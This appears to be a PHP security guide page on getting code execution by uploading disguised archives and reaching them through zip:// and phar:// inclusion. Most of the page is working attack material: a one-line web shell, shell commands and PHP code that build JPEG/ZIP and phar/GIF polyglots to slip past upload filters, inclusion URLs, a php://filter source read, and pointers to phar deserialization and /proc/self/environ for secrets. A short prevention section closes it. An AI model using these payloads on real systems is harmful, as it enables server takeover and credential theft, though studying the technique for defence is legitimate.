Uploads, zip:// and phar://
An upload feature that rejects .php files still lets you put bytes on disk. zip:// and phar:// reach inside the archive you uploaded, and neither is governed by any allow_url flag.
The upload does not have to be dangerous
An upload feature that carefully rejects .php, checks the MIME type, verifies the magic bytes, and stores the file outside the webroot has still done the one thing you needed: it put bytes you chose onto the disk.
With an inclusion bug, that is enough. zip:// and phar:// read a file from inside an archive, and the archive can be disguised as anything the upload filter will accept. The .php inside never has to touch the upload validation, because as far as the validator is concerned you uploaded a JPEG.
Both wrappers are local, so no allow_url_fopen or allow_url_include setting applies. They work on a stock php.ini.
zip://
# 1. Build an archive containing your payload.
echo '<?php system($_GET["cmd"]); ?>' > shell.php
zip payload.zip shell.php
# 2. Make it survive the upload filter. A ZIP's signature is at the START,
# so prepending image bytes gives you a file that is a valid JPEG to a
# magic-byte check and a valid ZIP to libzip, which reads the central
# directory from the END.
cat real.jpg payload.zip > avatar.jpg
# 3. Upload it, and find where it landed. The response, the img src, or a
# source read will tell you.
# 4. Reach inside it. The # separates the archive from the entry, and must
# be URL-encoded as %23 or it will be treated as a fragment.
# ?page=zip://./uploads/avatar.jpg%23shell
#
# Note: no .php on the entry name if the sink appends one. If it does not,
# use the full name:
# ?page=zip://./uploads/avatar.jpg%23shell.php
# Absolute paths work too and are more reliable than guessing the relative depth:
# ?page=zip:///var/www/html/uploads/avatar.jpg%23shell.phpphar://
<?php
// phar.readonly must be Off to CREATE an archive. That is a setting on
// YOUR machine, not the target's — the target only ever reads it, and
// reading is never restricted.
// php -d phar.readonly=0 build.php
$p = new Phar('payload.phar');
$p->startBuffering();
$p->addFromString('shell.php', '<?php system($_GET["cmd"]); ?>');
$p->setStub('<?php __HALT_COMPILER(); ?>');
$p->stopBuffering();
// Rename to whatever the upload filter accepts. The extension is irrelevant
// to the phar:// wrapper — it reads the stub, not the filename.
rename('payload.phar', 'avatar.gif');
// Then on the target:
// ?page=phar://./uploads/avatar.gif/shell.php
//
// Note phar:// uses / rather than #, so no encoding problem.
//
// And see /guide/phar-deserialization — a phar:// reference triggers
// metadata deserialization even through a READ-ONLY sink, which is a
// second and often better path.Choosing between them
Finding where the file went
The technique needs the path on disk, and applications rarely tell you directly. In order of reliability:
Read the source. php://filter/convert.base64-encode/resource=upload.php gives you the exact destination directory and the naming scheme in one request. This is by far the fastest route and it is why source reads come first in the methodology.
Look at how the file is served back. An avatar rendered as <img src="/uploads/2026/08/a1b2c3.jpg"> tells you the URL, and the filesystem path is usually the webroot plus that.
Check for a predictable name. Many applications use the original filename, a hash of the contents, or a UUID stored in the database. If it is the original filename you already know it.
Try /tmp. If the upload is rejected after PHP has written it, the temporary file still existed briefly — which is a different technique, the temp-file race.
Use /proc/self/fd/. If the worker still has the upload open, the descriptor reaches it without needing a path at all. See /proc, environ, and File Descriptors.
Making the archive survive validation
Upload filters check some combination of extension, declared MIME type, magic bytes, and — the strict ones — whether an image library can parse it.
ZIP is well suited to defeating all four because libzip locates the central directory from the end of the file. Everything before it is ignored. So cat real.jpg payload.zip > x.jpg is simultaneously a completely valid JPEG and a completely valid ZIP, and it passes a getimagesize() check.
Phar is the other way round: the stub must be near the start. The usual approach is to put a minimal stub first and pad afterwards, or to use __HALT_COMPILER(); early and append image data. This survives a magic-byte check less easily, so ZIP is generally the better choice when the filter is strict.
GIF is often the easiest target: the magic bytes are just GIF89a, and prepending that to a phar frequently satisfies both the magic check and the phar parser.
What defeats the polyglot approach is re-encoding. An upload handler that decodes the image and writes it back out with GD or ImageMagick destroys the archive entirely. That is the one upload control that genuinely stops this.
Prevention
Two separate bugs, and both are worth fixing:
The inclusion sink. Allowlist the parameter. Nothing on this page works if the parameter cannot name a path. See Defense in Depth.
The upload handler.
- Store uploads outside the webroot with generated names. This does not stop
zip://— the wrapper does not care whether the file is web-accessible — but it stops the simpler attack of requesting the uploaded file directly. - Re-encode images. Decode and re-emit through GD or ImageMagick. This is the control that actually destroys a polyglot, and it is worth the CPU.
- Do not trust the declared MIME type or the extension. Neither is evidence of anything.
open_basedircovering the upload directory does not help, because the upload directory is normally inside the app tree by design.
Note that phar.readonly=On — which is the default — does not help. It prevents writing Phar archives from PHP code, not reading uploaded ones.
Related
A phar:// reference unserializes the archive's metadata on any stream operation. That makes file_exists() an execute path, and it is the reason a read-only sink is not safe.
PHP writes every upload to a temp file before the application sees it — including uploads the application then rejects. Include it during the window and the rejection never happened.
PHP's stream layer makes every filesystem function accept a URL. That one design decision is why file inclusion in PHP is a different bug from file inclusion anywhere else.
In a containerised deployment the secrets are in the environment, not the config file. /proc/self/environ is one traversal away and is frequently the whole engagement.
One fix works and the rest are mitigations. Knowing which is which is the difference between a remediation that holds and a config change that gets reported again next year.